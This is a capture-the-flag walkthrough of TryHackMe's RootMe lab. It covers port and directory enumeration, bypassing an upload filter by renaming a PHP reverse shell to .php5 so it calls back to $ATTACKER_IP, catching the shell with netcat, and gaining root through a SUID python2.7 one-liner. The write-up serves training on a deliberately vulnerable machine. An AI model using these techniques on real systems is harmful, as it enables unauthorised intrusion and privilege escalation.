# RootMe Writeup - TryHackMe

> Exploit a vulnerable web server to upload a PHP reverse shell, escalate privileges via SUID Python binary to root.

- **URL:** https://hackindex.io/writeups/rootme
- **Platform:** TryHackMe
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** file-upload, privilege-escalation, suid, gtfobins
- **Authors:** [Hackercat](https://hackindex.io/authors/hackercat.md)
- **Published:** 2026-09-13
- **Updated:** 2026-09-13

RootMe is an Easy Linux machine with a vulnerable file upload function on a web application. The attack chain consists of three phases: enumerating the web application, bypassing a file upload filter to plant a reverse shell, and escalating privileges via a misconfigured SUID binary (`python2.7`) to gain root access.

## Enumeration

Starting with a broad port scan across all 65535 ports to avoid missing any service running on a non-standard port.

```bash
nmap -p- -T4 --min-rate 1000 --open --max-retries 2 $TARGET_IP
# PORT   STATE SERVICE
# 22/tcp open  ssh
# 80/tcp open  http
```

Two open ports: SSH and HTTP. Running a targeted scan against these ports for version info and default scripts.

```bash
nmap -sC -sV -p 22,80 $TARGET_IP
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
# | ssh-hostkey:
# |   3072 46:41:39:c0:62:fb:77:48:3f:36:d4:ff:7f:c3:9e:27 (RSA)
# |   256 69:e8:6e:da:3e:1e:53:77:71:d9:2f:5c:c8:25:15:61 (ECDSA)
# |_  256 d1:e4:eb:2f:57:a9:f4:9b:6f:98:07:02:89:09:29:46 (ED25519)
# 80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
# | http-cookie-flags:
# |   /:
# |     PHPSESSID:
# |_      httponly flag not set
# |_http-server-header: Apache/2.4.41 (Ubuntu)
# |_http-title: HackIT - Home
# Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
#
# Nmap done: 1 IP address (1 host up) scanned in 8.45 seconds
```

The web server runs Apache 2.4.41 on Ubuntu. The `PHPSESSID` cookie confirms the server is running PHP, useful for a potential PHP shell later. SSH has no credentials yet, so the first target is the web application on port 80.

## Web Enumeration

The homepage shows a simple "HackIT" page with minimal content. Running directory brute-force to discover hidden paths.

```bash
gobuster dir -u http://$TARGET_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# ===============================================================
# Gobuster v3.8.2
# by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
# ===============================================================
# [+] Url:      http://$TARGET_IP/
# [+] Method:   GET
# [+] Threads:  10
# [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# [+] Negative Status codes: 404
# [+] Timeout:  10s
# ===============================================================
# Starting gobuster in directory enumeration mode
# ===============================================================
# /uploads      (Status: 301) [Size: 318] [--> http://$TARGET_IP/uploads/]
# /css          (Status: 301) [Size: 314] [--> http://$TARGET_IP/css/]
# /js           (Status: 301) [Size: 313] [--> http://$TARGET_IP/js/]
# /panel        (Status: 301) [Size: 316] [--> http://$TARGET_IP/panel/]
# /server-status (Status: 403)
# ===============================================================
# Finished
# ===============================================================
```

Two interesting directories: `/panel/` and `/uploads/`. This is a classic setup for a file upload vulnerability. `/panel/` likely hosts an upload form, and `/uploads/` is where uploaded files land. If we can upload a PHP file and trigger it via `/uploads/`, we get code execution on the server.

## File Upload

The `/panel/` page contains an upload form. Uploading a `.php` reverse shell directly is blocked by an extension filter. However, Apache can execute several alternative PHP extensions that filters commonly overlook, such as `.php5` and `.phtml`.

The PentestMonkey PHP reverse shell comes pre-installed on Kali. Copy and rename it to bypass the filter:

```bash
cp /usr/share/webshells/php/php-reverse-shell.php shell.php5
```

Edit the attacker IP and port in the file (around line 49):

```php
$ip = '$ATTACKER_IP';  // tun0 IP
$port = 4444;
```

After uploading via `/panel/`, the server confirms the upload. The file is now accessible at `/uploads/shell.php5`.

The bypass worked because the filter only blocks `.php` but not `.php5`. Apache treats both as executable PHP.

## Initial Access

Set up a listener before triggering the shell:

```bash
nc -nlvp 4444
# listening on [any] 4444 ...
```

Trigger the shell by navigating to `http://$TARGET_IP/uploads/shell.php5` in the browser. The connection comes in:

```bash
nc -nlvp 4444
# listening on [any] 4444 ...
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 45430
# Linux rootme 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
#  07:54:29 up 30 min,  0 users,  load average: 0.00, 0.02, 0.07
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# /bin/sh: 0: can't access tty; job control turned off
# $
```

Running as `www-data`. Upgrading to a stable interactive TTY:

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@rootme:/$ ^Z
[1]+  Stopped                 nc -nlvp 4444

┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg
nc -nlvp 4444

www-data@rootme:/$ export TERM=xterm
```

Retrieve the user flag:

```bash
find / -name user.txt 2>/dev/null
# /var/www/user.txt
```

```bash
cat /var/www/user.txt
# $USER_FLAG
```

## Privilege Escalation

Searching for SUID binaries. Files with the SUID bit run with the permissions of their owner (root) rather than the executing user. A misconfigured SUID binary can be abused to spawn a root shell.

```bash
find / -perm -u=s -type f 2>/dev/null
# /usr/lib/dbus-1.0/dbus-daemon-launch-helper
# /usr/lib/snapd/snap-confine
# /usr/lib/openssh/ssh-keysign
# /usr/lib/policykit-1/polkit-agent-helper-1
# /usr/bin/newuidmap
# /usr/bin/newgidmap
# /usr/bin/chsh
# /usr/bin/python2.7
# /usr/bin/at
# /usr/bin/chfn
# /usr/bin/gpasswd
# /usr/bin/sudo
# /usr/bin/newgrp
# /usr/bin/passwd
# /usr/bin/pkexec
# /bin/mount
# /bin/su
# /bin/fusermount
# /bin/umount
```

`/usr/bin/python2.7` stands out immediately. An interpreter with SUID is highly unusual. Python with SUID can spawn a shell that preserves the effective UID (root) using the `-p` flag on the spawned shell.

```bash
python2.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

```bash
id
# uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
```

```bash
cat /root/root.txt
# $ROOT_FLAG
```

`euid=0` confirms root access. The `-p` flag prevents the shell from dropping the effective UID on startup, which is what gives us root.

## Key Takeaways

- When an upload filter blocks `.php`, always try alternative extensions: `.php3`, `.php4`, `.php5`, `.phtml`. Apache executes all of these as PHP.
- A binary like `python2.7` with SUID gives a direct root shell. Always check for unusual SUID binaries with `find / -perm -u=s -type f 2>/dev/null` and look them up on GTFOBins.
- Whenever you find an upload form alongside a directory where files are served, code execution via file upload is the first thing to attempt, especially when the server runs PHP.

## References

- [TryHackMe: RootMe](https://tryhackme.com/room/rrootme) - Room page
- [GTFOBins: Python](https://gtfobins.github.io/gtfobins/python/#suid) - SUID escalation method
- [HackIndex: HTTP/HTTPS](https://hackindex.io/services/http-https) - Web service enumeration
- [HackIndex: Linux](https://hackindex.io/platforms/linux) - Linux privilege escalation
- [PentestMonkey: PHP Reverse Shell](https://github.com/pentestmonkey/php-reverse-shell) - PHP reverse shell used
